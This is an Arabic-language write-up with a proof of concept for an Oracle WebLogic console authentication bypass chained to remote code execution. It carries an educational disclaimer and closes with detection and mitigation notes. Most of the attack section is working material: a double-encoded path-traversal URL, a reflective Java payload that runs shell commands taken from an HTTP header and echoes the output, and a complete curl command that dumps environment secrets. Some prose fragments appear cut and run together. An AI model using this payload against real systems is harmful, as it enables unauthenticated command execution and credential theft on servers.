
تحليل تقني وإثبات مفهوم (PoC) Java Thread Echo نظيف لسلسلة ثغرات Oracle WebLogic Server.
يحتوي المستودع على تقرير فني (Write-up) ونموذج إثبات مفهوم (Proof of Concept - PoC) لتوضيح سلسلة الثغرات الأمنية المتعلقة بتجاوز المصادقة (Authentication Bypass) وتنفيذ الأكواد عن بُعد (RCE) في مكوّن وحدة تحكم الإدارة في Oracle WebLogic Server.
🛑 تحذير وإخلاء مسؤولية: أُعدّت هذه المادة لأغراض تعليمية بحتة ولإجراء تدقيق أمني مشروع (Pentest). استخدام التقنيات الموصوفة ضد الأنظمة دون الحصول على موافقة كتابية مسبقة من أصحابها يُعاقب عليه القانون.
12.2.1.3nmap، curl، bashلتحديد سطح الهجوم، تم إجراء مسح موجّه للمنافذ القياسية لخدمات الويب ومنافذ إدارة تطبيقات Java:
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
مخرجات الطرفية المرصودة:
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3. كما يُشير تفعيل بروتوكول T3 إلى وجود متجهات هجوم بديلة، لكن تم اختيار واجهة الويب لوحدة التحكم عبر HTTP في هذا البحث.أظهر تحليل بنية المسارات أن خادم الويب يعالج بشكل غير صحيح تسلسلات الصعود إلى الدليل الأصلي عند ترميزها بترميز URL مزدوج. مورد /console/css/ مفتوح للملفات الثابتة. نُنشئ طلبًا للوصول إلى البوابة المحمية:
/console/css/%252e%252e%252fconsole.portalنتحقق من إمكانية الوصول وسلوك الخادم (نتوقع الحصول على الحالة 200 OK بدلاً من 403 Forbidden أو 302 Redirect إلى صفحة تسجيل الدخول):
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
استجابة الخادم:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
من خلال الجمع بين تجاوز المصادقة واستدعاء معالج الجلسات com.tangosol.coherence.mvel2.sh.ShellSession، نحصل على إمكانية تنفيذ أكواد Java عشوائية.
التنفيذ المعتاد للأوامر عبر java.lang.Runtime يكون «أعمى» (Blind RCE). ولتنفيذ تقنية Command Echo (إرجاع مخرجات الطرفية مباشرة في جسم استجابة HTTP)، تم تطوير حمولة Java انعكاسية (Reflective) خاصة.
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// Определяем ОС целевой системы для корректного вызова шелла
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// Выполняем системную команду и считываем Input Stream
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();
لأتمتة إرسال سياق Java، نجمّع أمر curl النهائي. نمرر الحمولة في معامل POST handle، بينما نمرر الأمر المطلوب في الترويسة المخصصة X-CMD-HEADER: env.
يحمي هذا الأسلوب البيانات من التشويه بواسطة مفسّر أوامر Bash المحلي على جهاز الباحث.
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
المخرجات الحقيقية الموثقة (تفريغ متغيرات البيئة):
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
curl: (18) في نهاية السجل نجاح الاستغلال. وينتج عن تعليمة executeThread.interrupt() التي تقطع جلسة TCP قسريًا فور إرسال المخزن المؤقت الذي يحوي نتائج أمر env إلى العميل.7001، /console) عن المحيط الخارجي (الوصول فقط عبر VPN داخلي/تقسيم دقيق للشبكة).%252e) مقترنة باستدعاءات محددة لفئات Java.للمتخصصين في مراقبة الأمن (SOC/Blue Team)، يترك الاستغلال الناجح لسلسلة الثغرات هذه آثارًا واضحة في البنية التحتية.
في سجلات خادم ويب WebLogic (الموجودة عادة في access.log)، من علامات الهجوم وجود ترميز URL مزدوج للنقاط والشرطة المائلة مع الوصول إلى بوابة الإدارة عبر الدلائل الثابتة:
.. المشفرة: %252e%252e%252f أو %252e%252e%252F داخل URI."POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
إذا كان الخادم يفعّل تدقيق العمليات (على سبيل المثال عبر Auditd في Linux أو Sysmon في Windows)، فمن علامات Remote Code Execution السلوك غير الطبيعي للعملية الأم Java:
/bin/sh، /bin/bash أو cmd.exe) هي عملية Java التي يعمل بها خادم التطبيقات:
├─ java (WebLogic Server process)
│ └─ /bin/sh -c env
X-CMD-HEADER أو X-Forwarded-Cmd) التي يستخدمها المهاجم لنقل الحمولة (Command Echo).